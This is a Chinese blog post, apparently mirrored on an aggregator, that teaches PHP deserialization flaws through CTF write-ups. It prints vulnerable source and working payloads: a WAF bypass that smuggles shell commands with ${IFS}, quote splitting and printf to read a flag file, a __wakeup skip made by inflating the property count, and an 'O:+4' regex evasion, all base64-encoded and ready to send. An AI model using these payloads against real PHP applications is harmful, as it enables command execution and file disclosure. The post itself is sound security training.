php反序列化+题

news2024/11/17 11:43:26

含义:

php序列化(serialize):是将变量转换为可保存或传输的字符串的过程
php反序列化(unserialize):就是在适当的时候把这个字符串再转化成原来的变量使用
这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。
对象序列化成的字节序列会包含对象的类型信息、对象的数据等,说白了就是包含了描述这个对象的所有信息,能根据这些信息“复刻”出一个和原来一模一样的对象。
常见的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,json_decode。

字符详解

O:6:"Person":3:{s:4:"name";s:3:"tom";  s:11:"Personage";  i:18;   s:6:"*sex"; s:3:"boy";}

O : 自定义对象 object
6  : 类名的长度
:3 : 3个成员属性
S:4 : 你的成员属性名  长度为4 ,并且是一个字符串   string
S:3 : 刚刚那个成员属性对应的值 是string类型,并且长度是3位
s:11:"Personage" : 因为该属性是私有属性,所以需要在属性名前加上类名,方便我们进行反序列化的时候的识别.
i:18 :  18是age的属性值 , i是代表  integer类型

s:6:"*sex";  sex这个属性是一个受保护的属性,特征就是 * 号

s:3:"boy : 代表 string类型,属性值长度为3位  boy对应是  sex的属性值

 魔术方法:

魔术方法是一种特殊的方法,当对对象执行某些操作时会覆盖 PHP 的默认操作。PHP中把以两个下划线__开头的方法称为魔术方法(Magic methods)

PHP 保留所有以 __ 开头的方法名称。 因此,除非覆盖 PHP 的行为,否则不建议使用此类方法名称。在面向对象编程中,PHP提供了一系列的魔术方法,这些魔术方法为编程提供了很多便利。并且不需要显示的调用而是由某种特定的条件出发。

构造函数和析构函数

构造函数和析构函数分别在对象创建和销毁时被调用。对象被“销毁”是指不存在任何对该对象的引用,比如引用该对象的变量被删除(unset)、重新赋值或脚本执行结束,都会调用析构函数。

 常用魔术方法

__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。
__toString:当对象被当做一个字符串使用时调用。
__sleep:序列化对象之前就调用此方法(其返回需要一个数组)
__wakeup:反序列化恢复对象之前调用该方法
__call:当调用对象中不存在的方法会自动调用该方法。
__get:在调用私有属性的时候会自动执行
__isset()在不可访问的属性上调用isset()或empty()触发
__unset()在不可访问的属性上使用unset()时触发

serialize() 函数会检查类中是否存在一个魔术方法。如果存在,该方法会先被调用,然后才执行序列化操作。

从序列化到反序列化这几个函数的执行过程是:

__construct() ->__sleep() -> __wakeup() -> __toString() -> __destruct()

__toString()这个魔术方法触发的因素

1.  echo($obj)/print($obj)打印时会触发
2.  反序列化对象与字符串连接时
3.  反序列化对象参与格式化字符串时
4.  反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
5.  反序列化对象参与格式化SQL语句,绑定参数时
6.  反序列化对象在经过php字符串处理函数,如strlen()、strops()、strcmp()、addslashes()等
7.  在in_array()方法中,第一个参数时反序列化对象,第二个参数的数组中有__toString()返回的字符串的时候__toString()会被调用
8.  反序列化的对象作为class_exists()的参数的时候

魔术方法在反序列化攻击中的作用 

反序列化的入口在unserialize(),只要参数可控并且这个类在当前作用域存在,就能传入任何已经序列化的对象,而不是局限于出现unserialize()函数的类的对象。

如果只能局限于当前类,那攻击面就太小了,而且反序列化其他类对象只能控制属性,如果没有完成反序列化后的代码中调用其他类对象的方法,还是无法利用漏洞进行攻击。

但是,利用魔术方法就可以扩大攻击面,魔术方法是在该类序列化或者反序列化的同时自动完成的,这样就可以利用反序列化中的对象属性来操控一些能利用的函数,达到攻击的目的。

在反序列化过程中,其功能就类似于创建了一个新的对象(复原一个对象可能更恰当),并赋予其相应的属性值。如果让攻击者操纵任意反序列数据, 那么攻击者就可以实现任意类对象的创建,如果一些类存在一些自动触发的方法(魔术方法),那么就有可能以此为跳板进而攻击系统应用。

php序列化和反序列化

下面来详细介绍一下php序列化和反序列化

 Python序列化与反序列化详解(包括json和json模块详解)-CSDN博客

PHP序列化

有时需要把一个对象在网络上传输,为了方便传输,可以把整个对象转化为二进制串,等到达另一端时,再还原为原来的对象,这个过程称之为串行化(也叫序列化)。

json数据使用 , 分隔开,数据内使用 : 分隔键和值

json数据其实就是个数组,这样做的目的也是为了方便在前后端传输数据,后端接受到json数据,可以通过json_decode()得到原数据,
这种将原本的数据通过某种手段进行"压缩",并且按照一定的格式存储的过程就可以称之为序列化。

有两种情况必须把对象序列化:
把一个对象在网络中传输
把对象写入文件或数据库
 

PHP序列化:把对象转化为二进制的字符串,使用serialize()函数
PHP反序列化:把对象转化的二进制字符串再转化为对象,使用unserialize()函数 

PHP为何要序列化和反序列化

PHP的序列化与反序列化其实是为了解决一个问题:PHP对象传递问题

PHP对象是存放在内存的堆空间段上的,PHP文件在执行结束的时候会将对象销毁。

如果刚好要用到销毁的对象,难道还要再写一遍代码?所以为了解决这个问题就有了PHP的序列化和反序列化

从上文可以发现,我们可以把一个实例化的对象长久的存储在计算机磁盘上,需要调用的时候只需反序列化出来即可使用。

挖掘反序列化漏洞的条件是:

1.代码中有可利用的类,并且类中有__wakeup(),__sleep(),__destruct()这类特殊条件下可以自己调用的魔术方法。
2. unserialize()函数的参数可控。

攻防世界:

unseping

下面看题来熟悉一下:
源码

<?php
highlight_file(__FILE__);//(语法高亮)

class ease{//类定义
    
    private $method;//私有变量
    private $args;
    function __construct($method, $args) {//__construct() 函数创建一个新的 SimpleXMLElement 对象。(“SimpleXMLElement是在PHP中处理XML文档的一个类)method和args是两个参数
        $this->method = $method;
        $this->args = $args;//构造函数接受两个参数 $method 和 $args,并将它们分别赋值给类的成员(私有)变量 $method 和 $args
    }//初始化,在创建类的实例时,可以通过传递参数来初始化对象的属性。
 
    function __destruct(){//析构函数 __destruct 则是在对象被销毁之前自动调用的方法
        if (in_array($this->method, array("ping"))) { //检查成员变量 $method 的值是否在数组 array("ping") 中,如果是的话,就调用对象自身的方法 $this->method(简单来说就是判断method是不是等于ping)
            call_user_func_array(array($this, $this->method), $this->args);//动态地调用对象的方法,并将 $this->args 数组作为参数传递给该方法。
        }
    } //在对象销毁时,如果 $method 的值是 "ping",则调用对象自身的 "ping" 方法,并将 $args 数组作为参数传递给该方法。
 
    function ping($ip){//执行ping命令(函数ping)
        exec($ip, $result);
        var_dump($result);
    }//ping 函数的作用是执行系统命令 exec($ip, $result),其中 $ip 是传递给 ping 命令的参数。exec 函数执行系统命令,并将结果存储在变量 $result 中。然后,使用 var_dump($result) 打印 $result 的内容,以便查看命令执行的结果

    function waf($str){//函数waf
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }//waf 函数是一个简单的 Web 应用防火墙(Web Application Firewall)函数。它使用正则表达式来检测 $str 是否包含特定的敏感词汇,如 |、&、;、/、cat、flag、tac、php、ls 等。如果 $str 中存在这些敏感词汇,则输出 "don't hack",表示不允许执行该操作。否则,返回原始的 $str 值
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}//__wakeup 是 PHP 中的一个魔术方法(magic method),用于在反序列化对象时进行特定操作。在这段代码中,__wakeup 方法被定义在一个类中,但是代码片段中省略了类的定义部分。 __wakeup方法的作用是对对象进行反序列化后的恢复操作。在这段代码中,它遍历对象的成员变量$this->args,对每个成员变量的值使用 waf方法进行敏感词过滤,并将过滤后的值重新赋值给$this->args[$k]`。(简单来说:如果 PHP 对象中存在名为 __wakeup 的方法,就调用该方法对对象进行恢复操作,即对成员变量 $this->args 进行敏感词过滤。)


$ctf=@$_POST['ctf'];//这行代码将 $_POST 数组中名为 'ctf' 的元素的值赋给了变量 $ctf。@ 符号用于抑制可能的错误提示。
@unserialize(base64_decode($ctf));//这行代码使用 base64_decode 函数对变量 $ctf 的值进行解码,并使用 unserialize 函数将解码后的结果反序列化为对象。unserialize 函数用于将之前通过 serialize 函数序列化的对象转换回原始的 PHP 对象。(简单来说:对变量 $ctf 的值进行解码和反序列化,恢复为原始的 PHP 对象。)
?>

通过分析上面的代码我们可以得出,我们只要控制ctf这个参数的输入的值,就可以达成命令执行的效果,但是上面的代码,我们需要两个参数ping和后面命令执行的值,我们首先就得看看当前目录下都有些什么东西。同时我们需要考虑ls字符被过滤了,那么我们需要进行绕过,那我们就可以写出如下的PHP语句进行,ctf值的输出

<?php
 
class ease{
private $method;
private $args;
function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
}
 
}
$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>

 

<?php
 
class ease{
private $method;
private $args;
function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
}//定义了一个名为 ease 的类。该类具有私有成员变量 $method 和 $args,以及一个构造函数 __construct。构造函数接受两个参数 $method 和 $args,并将它们分别赋值给类的成员变量
 
}
$a = new ease("ping",array('l""s'));//创建了一个类的实例 $a,通过传递参数 "ping" 和数组 array('l""s') 给构造函数来初始化实例。
$b = serialize($a);//使用 serialize 函数对实例 $a 进行序列化,将其转换为一个字符串表示
echo $b;

echo'</br>';//使用 echo 语句输出序列化后的字符串 $b,并在其后添加一个换行符 <br>。
echo base64_encode($b);//使用 base64_encode 函数对序列化后的字符串 $b 进行 Base64 编码,将其转换为另一个字符串表示,并使用 echo 语句输出。

?>

 运行结果:

 找到了flag文件 再在原来的基础上把命令改一下就可以了

想要执行cat flag_1s_here/flag_831b69012c67b35f.php来查看flag,cat,flag,php都可以用双引号绕过,空格用${IFS}绕过,/要用printf及$()绕过。

令$arg=c""at${IFS}(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp。

 

unserialize3 

东西很少,

看源码:

class xctf{
public $flag = '111';//类中定义了一个公共成员变量 $flag,其值为字符串 '111'。这个变量可以在类的实例中被访问和修改
public function __wakeup(){
exit('bad requests');//类中定义了一个特殊方法 __wakeup()。__wakeup() 方法在 PHP 的反序列化过程中被调用。在这段代码中,__wakeup() 方法被重写,当进行反序列化时,会触发该方法。在方法内部,使用 exit() 函数输出字符串 'bad requests',并终止程序的执行。
}
?code=//给出的 URL 参数 ?code=

代码中的__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的,这里没有序列化字符串,何来反序列化呢?于是,我们这里实例化xctf类并对其使用序列化(这里就实例化xctf类为对象peak)

<?php
class xctf{                      //定义一个名为xctf的类
public $flag = '111';            //定义一个公有的类属性$flag,值为111
public function __wakeup(){      //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
$peak = new xctf();           //使用new运算符来实例化该类(xctf)的对象为peak
echo(serialize($peak));       //输出被序列化的对象(peak)
?>

得到了一个序列化:O:4:"xctf":1:{s:4:"flag";s:3:"111";}

//xctf类后面有一个1,整个1表示的是xctf类中只有1个属性
__wakeup()漏洞就是与序列化字符串的整个属性个数有关。当序列化字符串所表示的对象,
其序列化字符串中属性个数大于真实属性个数时就会跳过__wakeup的执行,从而造成__wakeup()漏洞 

所以我们构造的payload只需要把xctf后边的1改成2

O:4:"xctf":2:{s:4:"flag";s:3:"111";} 在利用参数进行访问就可以了

 cyberpeace{b071fb46dca53c8e64462e9cfd16ebed}

Web_php_unserialize 

<?php
class Demo { //类定义
    private $file = 'index.php';//私有变量
    public function __construct($file) { //__construct() 函数创建一个新的 SimpleXMLElement 对象
        $this->file = $file;
    }//初始化,在创建类的实例时,可以通过传递参数来初始化对象的属性
    function __destruct() { //析构函数 __destruct 则是在对象被销毁之前自动调用的方法
        echo @highlight_file($this->file, true); //highlight_file() 函数以代码高亮的形式输出 $file 文件的内容
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        } //反序列化魔术方法 __wakeup() 在反序列化对象时被调用。在这段代码中,如果 $file 不等于 'index.php',则将其重置为 'index.php'(秘密藏在fl4g.php里面)
    }
}
if (isset($_GET['var'])) { //在主代码块中,首先检查是否存在 $_GET['var'] 参数。
    $var = base64_decode($_GET['var']); //$_GET['var'] 参数,则对其进行 Base64 解码,并将结果赋值给变量 $var
    if (preg_match('/[oc]:\d+:/i', $var)) {
        die('stop hacking!'); //使用正则表达式匹配检查 $var 是否包含类似 o:数字: 的序列化字符串。如果匹配成功,说明 $var 可能被恶意篡改,代码执行会被终止,并输出提示信息
    } else {
        @unserialize($var); //$var 没有匹配到恶意序列化字符串,则使用 @unserialize() 函数对 $var 进行反序列化操作
    }
} else {
    highlight_file("index.php"); //如果不存在 $_GET['var'] 参数,则使用 highlight_file() 函数以代码高亮的形式输出当前文件 index.php 的内容
}
?>

通过源代码可以看出来,想得到flag要绕过3个

1.绕过__wakeup   2.绕过正则表达式   3.base64加密

1.绕过:
__wakeup()函数漏洞就是与对象的属性个数有关,如果序列化后的字符串中表示属性个数的数字与真实属性个数一致,那么i就调用__wakeup()函数,如果该数字大于真实属性个数,就会绕过__wakeup()函数。

2.(preg_match(’/[oc]:\d+:/i’, $var))
而正则匹配的规则是: 在不区分大小写的情况下 , 若字符串出现 “o:数字” 或者 "c:数字’ 这样的格式 , 那么就被过滤 .很明显 , 因为 serialize() 的参数为 object ,因此参数类型肯定为对象 " O " , 又因为序列化字符串的格式为 参数格式:参数名长度 , 因此 " O:4 " 这样的字符串肯定无法通过正则匹配
绕过
而O:+4没被过滤说明绕过了过滤而且最后的值不变。
3.直接base64加密就可以

<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
$A = new Demo ('fl4g.php');                    //创建对象
$C = serialize($A);                     //对对象A进行序列化
$C = str_replace('O:4','O:+4',$C);      //绕过正则表达式过滤
$C = str_replace(':1:',':2:',$C);         //wakeup绕过
var_dump($C);
var_dump(base64_encode($C));            //base64加密

?>

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== 

绕过的详细过程:

利用反列化函数,得增加以下代码,$a = new Demo('fl4g.php');

先利用在线工些代码,对其进行反序列化

<?php
class Demo {
    private $file = 'fl4g.php';
}
$a = serialize(new Demo);
var_dump($a);
?> 

 

得到:O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

__wakeup绕过:

"Demo":1 改成 "Demo":2

正则绕过:

O:4 改成:O:+4

所以写成:O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}(这里只做示范,要用在线php里边的序列化才可以)

在对其进行base64编码:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

得到base64编码 在传个参就可以了

/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

得到了flag

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1032615.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

微信小程序底部安全区域高度获取

CSS 属性 safe-area-inset-bottom safe-area-inset-bottom 就是安全区的高度 padding-bottom:env(safe-area-inset-bottom); wx.getSystemInfoSync() wx.getSystemInfoSync()可以获取系统信息 let system wx.getSystemInfoSync() let bottomSafe system.screenHeight -…

React 全栈体系(十三)

第七章 redux 五、redux 异步编程 1. 理解 redux 默认是不能进行异步处理的,某些时候应用中需要在 redux 中执行异步任务(ajax, 定时器) 2. 使用异步中间件 npm install --save redux-thunk 3. 代码 - 异步 action 版 3.1 store /* src/redux/store.js */ /*** 该文件专…

全景剖析|国产芯(CPU、GPU、SSD、NAND、DRAM)虽有突破,但路还很长

这两天小编看到两个有关国产芯的消息,很有感触,本文小编分享下所思所想,如有不当之处,还望包涵,可以留言指正! 第一个消息是:近日,华为轮值主席 徐直军在2023世界计算大会上,有个国产芯的呼吁,“我们不要抱有幻想,应该坚定不移的打造可持续发展的计算产业生态。从计…

Webpack打包时Bable解决浏览器兼容问题

当我们使用js新特性语法编写代码时&#xff0c;在旧的浏览器中兼容性并不好。但是我们希望能够在旧浏览器中使用这些新特性。 使用babel可以使js新代码转换为js旧代码&#xff0c;增加浏览器的兼容性。 如果我们希望在Webpack中支持babel&#xff0c;则需要在Webpack中引入bab…

【C++】静态成员函数 ( 静态成员函数概念 | 静态成员函数声明 | 静态成员函数访问 | 静态成员函数只能访问静态成员 )

文章目录 一、静态成员函数简介1、静态成员函数概念2、静态成员函数声明3、静态成员函数访问4、静态成员函数只能访问静态成员 二、代码示例 - 静态成员函数 一、静态成员函数简介 1、静态成员函数概念 静态成员函数归属 : 在 C 类中 , 静态成员函数 是一种 特殊的函数 , 该函数…

记一次manjaro-i3系统sogoupinying候选词无法正常显示中文(变方框了)问题解决方案

记一次manjaro-i3系统sogoupinying候选词无法正常显示中文&#xff08;变方框了&#xff09;问题解决方案 前言解决方案 前言 今天早上发现公司电脑显卡驱动好像坏了&#xff0c;各种折腾完了干脆把系统搞黑屏无法开机了&#xff0c;时间有限懒再修了&#xff0c;于是重装了系…

【C++面向对象侯捷下】1.导读

文章目录 来源&#xff1a;我的百度网盘 百科全书 专家书籍 C标准库 C编译器

解锁学习新方式——助您迈向成功之路

近年来&#xff0c;随着吉林开放大学广播电视大学的崛起&#xff0c;越来越多的学子选择这所优秀的学府来实现自己的梦想。而作为一名学者&#xff0c;我有幸见证了电大搜题微信公众号的诞生&#xff0c;为广大学子提供了一个全新的学习支持平台。 电大搜题微信公众号&#xff…

解决老版本Oracle VirtualBox 此应用无法在此设备上运行问题

问题现象 安装华为eNSP模拟器的时候&#xff0c;对应的Oracle VirtualBox-5.2.26安装的时候提示兼容性问题&#xff0c;无法进行安装&#xff0c;具体版本信息如下&#xff1a; 软件对应版本备注Windows 11专业工作站版22H222621eNSP1.3.00.100 V100R003C00 SPC100终结正式版…

Android studio安卓生成APK文件安装包方法

1.点击Build->Generate Signed Bundle/APK 2.选择APK 3.首次生成&#xff0c;没有jks文件&#xff0c;就点击Create new。再次生成&#xff0c;直接点Next 4.选择创建jks文件路径 5.点击Next 6.选择release 7.生成完成的apk安装包路径

PostgreSql 统一修改date字段为timestamp

在《Powdersigner PostgreSql 同步表结构到pg数据库》中&#xff0c;导入表结构到pg数据后&#xff0c;发下时间对不上了。mysql的datetime转换后pg的变成了date了。 再同步到数据后&#xff0c;就变成日期类型了。 因为表中基本都有创建时间和修改时间&#xff0c;两个相对固…

电脑桌面透明便签软件是哪个?

在现代快节奏的工作环境中&#xff0c;许多上班族都希望能够在电脑桌面上方便地记录工作资料、重要事项、工作流程等内容。为了解决这个问题&#xff0c;一款优秀的电脑桌面便签软件是必不可少的。在选择桌面便签软件时&#xff0c;许多用户也希望便签软件能够与电脑桌面壁纸相…

文件操作(1)

1. 为什么使⽤⽂件&#xff1f; 如果没有⽂件&#xff0c;我们写的程序的数据是存储在电脑的内存中&#xff0c;如果程序退出&#xff0c;内存回收&#xff0c;数据就丢失 了&#xff0c;等再次运⾏程序&#xff0c;是看不到上次程序的数据的&#xff0c;如果要将数据进⾏持久…

CBOW (以txt文本小说为例) pytorch实战

CBOW &#xff08;以txt文本小说为例 pytorch实战 今天博主做了一个不错的实验&#xff0c;我认为&#xff0c;很多小伙伴可能都可以从中学到东西。 我先说一下这个实验&#xff0c;我做了什么&#xff0c;在这个实验中&#xff0c;博主会从零&#xff0c;开始从一个txt文件开…

从零开始的 MyBatis 拦截器之旅:实战经验分享

文章目录 MyBatis拦截器可以做什么&#xff1f;Mybatis核心对象介绍四大核心对象如何实现&#xff1f;接口讲解Interceptor接口intercept方法plugin方法setProperties 完整SQL打印拦截器实战拦截器实现拦截器注册 MyBatis拦截器可以做什么&#xff1f; MyBatis拦截器是MyBatis…

某手新版本sig3参数算法还原

Frida Native层主动调用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81…

#循循渐进学51单片机#指针基础与1602液晶的初步认识#not.11

1、把本节课的指针相关内容&#xff0c;反复学习3到5遍&#xff0c;彻底弄懂指针是怎么回事&#xff0c;即使是死记硬背也要记住&#xff0c;等到后边用的时候可以实现顿悟。学会指针&#xff0c;就是突破了C语言的一道壁垒。 2&#xff0c;1602所有的指令功能都应用一遍&#…

内网穿透,轻松实现PostgreSQL数据库公网远程连接!

文章目录 前言1. 安装postgreSQL2. 本地连接postgreSQL3. Windows 安装 cpolar4. 配置postgreSQL公网地址5. 公网postgreSQL访问6. 固定连接公网地址7. postgreSQL固定地址连接测试 前言 PostgreSQL是一个功能非常强大的关系型数据库管理系统&#xff08;RDBMS&#xff09;,下…

外汇天眼:CFTC处罚Advantage Futures 39.5万美元

美国商品期货交易委员会&#xff08;CFTC&#xff09;对Advantage Futures处以39.5万美元罚款&#xff0c;原因是其监管不力。 CFTC今天发布了一项命令&#xff0c;同时提起并解决了对Advantage Futures LLC的指控&#xff0c;这是一家注册的期货佣金经纪商&#xff0c;因未能…

Linux命令基础

一、linux目录结构。 Linux没有windows的盘的概念&#xff0c;是一个树形的结构。唯一的根目录为/&#xff0c;所有的文件都在他下面。 描述方式也与windows有所不同 二、命令基础格式。 command [-options] [parameter]&#xff08;[ ]表示可选的&#xff09; command:必…